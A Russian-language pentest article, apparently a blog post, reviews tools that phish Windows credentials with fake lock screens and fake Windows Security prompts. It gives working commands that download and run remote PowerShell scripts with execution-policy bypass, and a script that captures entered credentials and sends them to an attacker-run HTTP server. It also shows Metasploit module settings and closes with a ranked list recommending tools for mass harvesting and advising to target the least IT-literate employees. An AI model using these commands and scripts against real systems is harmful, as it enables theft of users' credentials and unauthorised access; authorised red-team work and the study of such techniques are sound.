Фишинг учетных данных Windows
В первом квартале 2020 года число фишинговых атак на пользователей по всему миру выросло вдвое по сравнению с аналогичным периодом 2019 года — с 9% до 18%. Такие данные приводит «Лаборатория Касперского».
В операционных системах семейства Windows у некоторых программ и процессов запрашивать учетные данные пользователя для аутентификации (например, в Outlook) для повышения привилегий выполнения (User Account Control) или просто для выхода из режима ожидания (Windows LockScreen) — нормально. Имитация такого поведения Windows позволяет получить учетные данные пользователей с их последующим применением на поздних этапах тестирования на проникновение. В этой статье собран дайджест из нескольких распространенных программ для фишинга через подмену экрана блокировки.
С#
Современные методики пентеста часто базируются на языке программирования C#, поскольку программы на нем могут выполняться через различные фреймворки (Cobalt Strike, Covenant и др.)
1) Утилита The FakeLogonScreen была разработана Arris Huijgen на C# и она не просто подменяет стандартный экран ввода пароля ОС, а делает это, используя параметры стандартного экрана, заданные в системе, что в разы повышает шансы не вызвать у пользователя подозрение и удачно получить его учетные данные для входа в систему.
FakeLogonScreen — запуск
FakeLogonScreen — блокировка экрана
При вводе пароля на фейковой странице входа FakeLogonScreen выполнит валидацию учетных данных в AD или локально, чтобы точно определить, верный ли пароль был введен. В дальнейшем пароль будет отображен в консоли пентестера.
FakeLogonScreen — Ввод учетных данных
Также в состав FakeLogonScreen входит второй вариант исполняемого файла, который сохраняет пойманные учетные данные в файл user.db локально на инфицированной машине. Данный файл может быть просмотрен с помощью команды type:
type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db
FakeLogonScreen — сохранение в файл user.db
2) Похожим образом устроена программа SharpLocker, разработанная Matt Pickford. После запуска она также подменяет собой оригинальный экран входа в систему.
SharpLocker — блокировка экрана
Каждый введенный пользователем символ перехватывается, пока не будет выявлен весь пароль целиком. Стоит, однако, отметить, что данная утилита не выполняет проверку подлинности пароля и будет снифить все, что пользователь введет в поле пароля.
SharpLocker — фишинг пароля
Power Shell
Запросы учетных данных со стороны службы безопасности Windows очень распространены, поскольку ПО в корпоративной среде может регулярно требовать дополнительное подтверждение действий или переавторизацию. Microsoft Outlook, например, один из ярчайших представителей такого ПО, которое постоянно запрашивает у пользователей доменные учетные данные.
1. Утилита, которая маскируется под окно запроса со стороны безопасности Windows называется CredsLeaker. Для ее корректной работы требуется web-сервер, с которого она будет получать все необходимые файлы и куда будет сохранять учетные данные пользователей, а также наличие PowerShell, чтобы отправлять HTTP запросы на свой сервер. Все команды в дальнейшем будут выполнены из имеющегося в составе BAT-файла.
CredsLeaker — HTTP Delivery
Перед запуском run.bat-файла необходимо внести все необходимые изменения в конфигурационные файлы утилиты. Как только run.bat файл будет запущен, пользователь увидит окно Windows Security с запросом его учетных данных.
CredsLeaker — окно фишинга
Окно с запросом исчезнет, только если будут введены валидные учетные данные пользователя. Домен, имя компьютера, имя пользователя и пароль будут сохранены в файле creds.txt по указанному ниже пути:
/var/www/html/creds.txt
CredsLeaker — вывод в файл creds.txt
2. Matt Nelson разработал PowerShell скрипт, который вызывает окно запроса учетных данных Windows Security с последующей проверкой их валидности. Данное окно также не может быть закрыто пользователем, пока не будут введены актуальные учетные данные. Этот скрипт может быть выполнен удаленно, а введенные учетные данные будут отображены в консоли на машине «злоумышленника»:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt
Invoke-LoginPrompt — удаленный вызов
Invoke-LoginPrompt — окно фишинга
3. В составе Nishang framework тоже имеется PowerShell-скрипт, который создает фейковое окно запроса учетных данных пользователя.
Import-Module C:\Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish
Invoke-CredentialsPhish — локальный вызов и окно фишинга
Сгенерированное окно будет содержать информацию о том, что на выполнение данного действия требуется подтверждение в виде ввода учетных данных. Более опытные в плане ИБ пользователи могут заподозрить, что данное окно вызвано запуском некоего приложения в фоне, однако в корпоративной сети далеко не все могут обладать этими знаниями. Учетные данные, которые пользователь введет в диалоговом окне, будут отображены в консоли.
Invoke-CredentialsPhish — вывод собранных данных
Данный скрипт также может быть запущен удаленно:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish
Rob Fuller в своем блоге описал атаку по фишингу учетных данных пользователя с использованием Metasploit и PowerShell. Metasploit Framework располагает в своем составе модулями, которые могут захватывать учетные данные пользователей из различных протоколов (FTP, SMB, HTTP и др.). Указанный ниже модуль используется для развертывания базового HTTP сервера с аутентификацией:
use auxiliary/server/capture/http_basic
set URIPATH /
PowerShell применяется для проведения атаки по фишингу учетных данных пользователя посредством генерации окна запроса Windows Security с последующей передачей собранных учетных данных на HTTP сервер, созданный ранее через Metasploit:
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');
Для изначального захвата учетных данных требуется использовать кодировку UTF-16LE с последующим конвертированием в Base64:
cat popup.txt | iconv -t UTF-16LE
cat popup.txt | iconv -t UTF-16LE | base64 -w0
Конвертация кода в Base64
Выполнение указанного кода, локально или удаленно, приводит к появлению у пользователя окна запроса на авторизацию якобы со стороны Windows Security.
powershell.exe -ep bypass -enc <base64>
Окно фишинга учетных данных
Модуль Metasploit получит учетные данные сразу после ввода со стороны пользователя.
Metasploit HTTP Server — получение учетных данных
Metasploit
Metasploit Framework имеет в своем составе модуль, способный самостоятельно вызвать фейковое окно с запросом авторизации Windows Security со стороны практически любого процесса в системе. Для корректной работы данного модуля требуется указать рабочую meterpreter сессию и процесс, от имени которого будет вызван фейковый запрос авторизации Windows Security.
use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run
Metasploit Module — конфигурация
В данном случае символ * указывает модулю, чтобы он выполнял мониторинг всех процессов, которые запущены от имени системы (NT Authority\System), и вызвал диалоговое окно в тот момент, когда в системе будет запущен новый процесс от имени системы.
Metasploit Module — мониторинг по всем процессам
Как только новый процесс запустится, пользователю будет выдано диалоговое окно от имени данного процесса с запросом авторизации для якобы подтверждения дальнейшей работы.
Metasploit Module — окно фишинга
Как только пользователь введет учетные данные, они сразу же будут отображены в консоли Metasploit.
Metasploit Module — получение учетных данных
Также данный модуль может быть настроен на ожидание запуска конкретного процесса.
Metasploit Module — получение учетных данных через процесс notepad.exe
BASH
Lockphish — это еще одна утилита, которая способна выполнить фишинговую атаку с подменой окна входа в систему Windows. Темплейт окна входа в систему хранится на PHP-сервере и по умолчанию использует YouTube, чтобы выполнить редирект пользователя после ввода логина и пароля.
bash lockphish.sh
LockPhish — запуск
На данном этапе потребуется прибегнуть к помощи социальной инженерии, чтобы заманить пользователя на веб-сайт, где расположены файлы экрана блокировки.
LockPhish — скачивание файла
В отличие от всех остальных утилит, расположение элементов на данном экране блокировки может быть не точным, запрос на авторизацию будет выведен от имени Администратора, а не от имени текущего аккаунта пользователя, а внешне окно блокировки стилизовано под Windows 10 Lockscreen. Все это в комплексе может очень сильно насторожить пользователя. Данная утилита также не имеет механизмов валидации введенного пароля.
LockPhish — экран блокировки
После того, как пользователь выполнит ввод учетных данных, будет выполнен редирект на веб-сайт youtube.com.
LockPhish — редирект
Учетные данные будут отображены в консоли.
LockPhish — собранные учетные данные
Представленные в статье методы будут эффективны, если пентестеру уже удалось закрепиться в системе (получить стабильную точку входа), но повысить привилегии или получить учетные данные пользователей другим путем не получается. При проведении подобных фишинговых атак, следует очень тщательно подбирать целевую аудиторию. Эффективность будет в разы выше, если целью окажутся наименее IT-грамотные сотрудники организации.
Краткий вердикт по всем протестированным ПО
- FakeLogonScreen. Выглядит максимально правдоподобно, при этом использует стандартные параметры, установленные в системе. Умеет выполнять валидацию введенных учетных данных. (Лучший выбор)
- SharpLocker. Не выполняет проверку подлинности, использованы стандартные обои windows для LockScreen, верстка самого локскрина слегка уходит вправо, что может насторожить пользователя. (Не рекомендуется к использованию, если есть возможность применить FakeLogonScreen)
- CredsLeaker. Простота исполнения, генерирует аутентичное окно, но требует веб-сервер для работы. Если нужно сработать по одному пользователю, то наличие веб-сера — это скорее минус, если есть возможность запустить скрипт на всех компьютерах домена и массово «причесать» учетные данные, то веб-сервер — это, безусловно, плюс. (Рекомендовано для массового сбора учетных данных)
- Invoke-LoginPrompt. Простота реализации, подойдет для точечного применения, создаваемое окно стилизовано под старые или серверные версии Windows. Может вызвать подозрения у пользователя. (Рекомендовано к использованию, но с осторожностью)
- Invoke-CredentialsPhish. Все то же самое, что и у пациента выше.
- Скрипт от Rob Fuller. Интеграция с metasploit, возможность массового применения, легкие танцы с бубном в виде конвертации. (Также отлично подойдет для массового сбора учетных данных)
- Модуль Metasploit phish_windows_credentials. Полная интеграция с Metasploit (таки модуль), создаваемое окно старой версии. (Применять можно, но учитывайте IT-грамотность жертвы)
- LockPhish. С одной стороны — криво сверстанный локскрин, без проверки подлинности, да еще и без учета текущего пользователя (Всегда просит пароль от Administrator). С другой стороны — единственный из пациентов, который может сработать через браузер. Отослали жертве ссылку и ждем. (Применять из коробки не рекомендуется, однако, если знаете логин конкретной жертвы, то перенастройте с Adminnistrator на него и будет уже не так плохо. Может даже и сработать)